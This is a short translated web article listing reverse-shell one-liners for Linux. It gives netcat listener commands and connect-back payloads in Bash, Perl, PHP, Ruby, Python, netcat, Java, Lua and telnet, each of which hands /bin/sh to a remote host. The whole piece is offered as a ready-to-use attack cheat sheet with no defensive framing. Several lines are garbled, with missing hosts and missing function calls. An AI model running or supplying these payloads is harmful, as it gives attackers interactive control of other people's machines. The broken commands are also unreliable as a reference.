NC bounce shell command under Linux (recommended)


Monitor on this machine:

nc -lvnp 4444
nc -vvlp 4444

Target machine on bounce

Bash version:

bash -i >& /dev/tcp/ 0>&1

Perl version:

perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP version:

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby Version:

ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Python version:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

NC version:

nc -e /bin/sh 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

Java version:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

Lua version:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

The NC version does not use the – e parameter:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc x.x.x.x 4444 1>/tmp/backpipe
 /bin/bash -i > /dev/tcp/ 0<&1 2>&1
 mknod backpipe p && telnet 8080 0backpipe

The above is the NC rebound shell command under Linux introduced by Xiaobian to you. I hope it can help you. If you have any questions, please leave a message to me, and Xiaobian will reply you in time. Thank you very much for your support of the developepaer website!